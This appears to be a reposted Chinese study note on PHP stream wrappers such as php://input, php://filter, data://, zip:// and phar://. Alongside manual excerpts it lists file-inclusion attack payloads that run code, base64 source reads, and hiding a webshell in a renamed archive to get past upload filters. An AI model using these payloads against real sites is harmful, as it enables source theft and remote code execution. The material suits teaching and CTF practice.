PHP學習記錄18(PHP偽協議)


PHP偽協議其實就是支持的協議和封裝協議。

PHP偽協議事實上就是支持的協議與封裝協議(12種)

PHP 帶有很多內置 URL 風格的封裝協議, 除了這些封裝協議,還能通過 stream_wrapper_register() 來注冊自定義的封裝協議。

要成功應用偽協議需要php.ini文件的allow_url_fopen      默認開啟

                allow_url_include    默認關閉

file://

file:// — 訪問本地文件系統

說明

文件系統 是 PHP 使用的默認封裝協議,展現了本地文件系統。

file://協議在雙off的情況下也是可以正常使用的。
allow_url_fopen :off/on
allow_url_include:off/on
file://用於訪問本地文件系統,在CTF中常用來讀取本地文件。
使用方法:file://文件的絕對路徑和文件名。
Eg:http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

http:// https://

http:// -- https:// — 訪問 HTTP(s) 網址

ftp:// ftps://

ftp:// -- ftps:// — 訪問 FTP(s) URLs

php://

php:// — 訪問各個輸入/輸出流(I/O streams).

php://stdin(只讀)、php://stdout 和 php://stderr (只寫) 允許直接訪問 PHP 進程相應的輸入或者輸出流, 推薦使用常量 STDIN、 STDOUT 和 STDERR 來代替手工打開這些封裝器。

php://input

php://input 是個可以訪問請求的原始數據的只讀流。 POST 請求的情況下,最好使用 php://input 來代替 $HTTP_RAW_POST_DATA,因為它不依賴於特定的 php.ini 指令。 而且,這樣的情況下 $HTTP_RAW_POST_DATA 默認沒有填充, 比激活 always_populate_raw_post_data 潛在需要更少的內存。 enctype="multipart/form-data" 的時候 php://input 是無效的。

Note: 在 PHP 5.6 之前 php://input 打開的數據流只能讀取一次; 數據流不支持 seek 操作。 不過,依賴於 SAPI 的實現,請求體數據被保存的時候, 它可以打開另一個 php://input 數據流並重新讀取。 通常情況下,這種情況只是針對 POST 請求,而不是其他請求方式,比如 PUT 或者 PROPFIND。5.6.0 以上支持php://input 可反復使用。

將POST輸入流當做PHP代碼執行。其只受   allow_url_include參數的影響,allow_url_fopen開關與此偽協議無關。

 

此協議需要allow_url_include為on,可以訪問請求的原始數據的只讀流, 將post請求中的數據作為PHP代碼執行。當傳入的參數作為文件名打開時,可以將參數設為php://input,同時post想設置的文件內容,php執行時會將post內容當作文件內容。

 

使用方法:php://input,然后post需要執行的數據 如http://127.0.0.1/cmd.php?file=php://input    然后在post中<?php phpinfo() ?>

 

 

php://output

php://output 是一個只寫的數據流, 允許你以 print 和 echo 一樣的方式 寫入到輸出緩沖區。

 

php://fd

php://fd 允許直接訪問指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。

文件描述符0、1和2分別代表stdin、stdout和stderr。

 

php://memory 和 php://temp

php://memory 和 php://temp 是一個類似文件 包裝器的數據流,允許讀寫臨時數據。 兩者的唯一區別是 php://memory總是把數據儲存在內存中, 而 php://temp 會在內存量達到預定義的限制后(默認是 2MB)存入臨時文件中。 臨時文件位置的決定和 sys_get_temp_dir() 的方式一致。

php://temp 的內存限制可通過添加 /maxmemory:NN 來控制,NN 是以字節為單位、保留在內存的最大數據量,超過則使用臨時文件。

 

 

php://filter

 

php://filter 是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。 這對於一體式(all-in-one)的文件函數非常有用,類似 readfile() file() 和 file_get_contents(), 在數據流內容讀取之前沒有機會應用其他過濾器。

 

php://filter 目標使用以下的參數作為它路徑的一部分。 復合過濾鏈能夠在一個路徑上指定。詳細使用這些參數可以參考具體范例。

 

php://filter 參數

 

名稱 描述
resource=<要過濾的數據流> 這個參數是必須的。它指定了你要篩選過濾的數據流。這個參數必須位於 php://filter 的末尾,並且指向需要過濾篩選的數據流。
read=<讀鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
write=<寫鏈的篩選列表> 該參數可選。可以設定一個或多個過濾器名稱,以管道符(|)分隔。
<;兩個鏈的篩選列表> 任何沒有以 read= 或 write= 作前綴 的篩選器列表會視情況應用於讀或寫鏈。

 

復制代碼
// php://filter/resource=<待過濾的數據流> readfile("php://filter/resource=http://www.example.com"); // php://filter/read=<讀鏈需要應用的過濾器列表> /* 這會以大寫字母輸出 www.example.com 的全部內容 */ readfile("php://filter/read=string.toupper/resource=http://www.example.com"); /* 這會和以上所做的一樣,但還會用 ROT13 加密。 */ readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com"); // php://filter/write=<寫鏈需要應用的過濾器列表> file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
復制代碼
 

 php://filter偽協議:不受   allow_url_fopen與allow_url_include參數的影響

      

      此協議主要用於讀取php源代碼時會用到。

      例如:http://localhost/test.php?file=php://filter/read=convert.base64-encode/resource=./1.php

        

      也就是說,將一個PHP文件通過base64編碼讀出。倘若不加read讀取鏈,則會將其中內容當做PHP代碼執行,倘若如此,則無法讀取PHP文件內容,於是在讀取鏈中將其編碼。

      例如:php://filter/resource=./1.txt

       

      

      所以說,php://filter此協議不受參數影響,即可讀取文件內容,也可包含惡意文件直接getshell。

      例如:將1.txt修改為

      菜刀連接:http://localhost/test.php?file=php://filter/resource=./1.txt

      

      getshell成功

 

zlib://  bzip2://  zip://

zlib:// -- bzip2:// -- zip:// — 壓縮流

試想倘若有一種情況限制文件后綴為php文件,並且上傳文件只能傳jpg文件。allow_url_fopen參數與allow_url_include參數全部off的情況下。

      

   

      貌似之前所用偽協議都無效,比較舊的版本可以使用00截斷,路勁長度截斷等。但是若無截斷漏洞該如何?

      此種情況下可以使用zip偽協議,將木馬放入壓縮包中,再將壓縮包后綴修改為上傳白名單,然后使用zip偽協議進行包含。

      例如:zip://絕對路徑\需要解壓縮的文件%23子文件名  

      

 

phar://偽協議

      同zip偽協議。故上述問題此協議也可解決。

      phar://cc.jpg/cc,與zip協議不同的是zip協議為絕對路徑,而phar協議為相對路徑。

      

 

data://偽協議

可以看到,此協議是受 allow_url_include 限制的。所以 allow_url_fopen參數與allow_url_include都需開啟。

      data://text/plain,<?php phpinfo();?>。test/plain, 后面的值會被當做php代碼執行。

 

      

 

      也可如此:data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 

        

 

glob://

glob:// — 查找匹配的文件路徑模式

<?php
// 循環 ext/spl/examples/ 目錄里所有 *.php 文件
// 並打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
    printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>

 

 

偽協議的利用可以讀取本地文件,竊取源碼信息,導致代碼執行等,危害巨大。
但php偽協議的使用受限於 allow_url_fopen 和 allow_url_include 的開啟
allow_url_fopen是默認開啟的
allow_url_include是默認關閉的
所以把控好配置的開關,最好把遠程文件包含關閉。

1.file://訪問本地文件系統

?test=file:///path/123.txt?test=file://C:/windows/win.ini

 

2.php:// 訪問各個輸入/輸出流

php://input 是個可以訪問請求的原始數據的只讀流。
php://output 是一個只寫的數據流, 允許你以 print 和 echo 一樣的方式 寫入到輸出緩沖區。
php://filter 是一種元封裝器,設計用於數據流打開時的篩選過濾應用。利用方式:

?test=php://input  【post data】<?php phpinfo();?>

通過input流在 POST數據 處進行行傳入數據,實現代碼執行

?test=php://filter/resource=1.txt?test=php://filter/read=convert.base64-encode/resource=123.php

通過此方法可以 讀取源碼 ,通常使用第二種將源碼轉為 base64 的方式,防止特殊字符報錯。

 

3.data:// — 數據

?test=data://test/plain,<?php phpinfo();?>?test=data:text/plain,<?php phpinfo();?>?test=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+

通過data偽協議將 數據上傳並執行 。

 

4、zip和phar

?test=phar://./123/file.jpg/1.php?test=zip://./123/file.zip/1.php

 利用zip或phar偽協議可以讀取壓縮包中的文件,解壓的壓縮包與后綴無關。
如將file.txt壓縮成zip,改后綴為jpg 繞過上傳限制 在通過phar 讀取壓縮包 內的內容。

 

五種常見的php偽協議

1、php://input

可以獲取POST的數據流

條件:
allow_url_include=On
allow_url_fopen-Off/On

POC:
file =php://input
POST:phpinfo();

2、php://filter

可以獲取指定文件的源碼,但是當他與包含函數結合是,php://filter流會被當做php文件執行
。所以我們一般對其進行編碼,讓其不執行。從而導致 任意文件讀取

條件:
allow_url_fopen=Off/On
allow_url_include=Off/On


POC:
?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

3、zip://

可以訪問壓縮包里的文件。當他與包含函數結合時,zip://流會被當做php文件執行。
從而實現任意文件執行。
同類型的還有:zlib:// 和bzip2://

條件:
必須要zip壓縮包(后綴無所謂,文件格式是zip就行)。
allow_url_fopen=Off/On
allow_url_include=Off/On
php >=5.2

POC:
zip://[壓縮包絕對路徑]#[壓縮包內的文件]
?file=zip://D:\zip.zip%23phpinfo.txt

4、phar://

和zip://類似
絕對路徑和相對路徑都可以

條件:
必須要zip壓縮包(后綴無所謂,文件格式是zip就行)。
allow_url_fopen=Off/On
allow_url_include=Off/On
php >=5.2


POC:
zip://[壓縮包絕對路徑]#[壓縮包內的文件]
?file=zip://D:\zip.zip/phpinfo.php(與zip://不同之處在於一個是# ,一個是/)

5、data://

同樣類似於php://input

條件:
allow_url_fopen=On
allow_url_include=On


POC:
?file=data://,<?php phpinfo();
?file=data://text/plain,<php phpinfo();
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,<php phpinfo();
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 

 

ile://協議在雙off的情況下也是可以正常使用的。

allow_url_fopen :off/on

allow_url_include:off/on

file://用於訪問本地文件系統,在CTF中常用來讀取本地文件。

使用方法:file://文件的絕對路徑和文件名。

Eg:http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt
PHP偽協議事實上就是支持的協議與封裝協議(12種)
PHP偽協議事實上就是支持的協議與封裝協議(12種)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM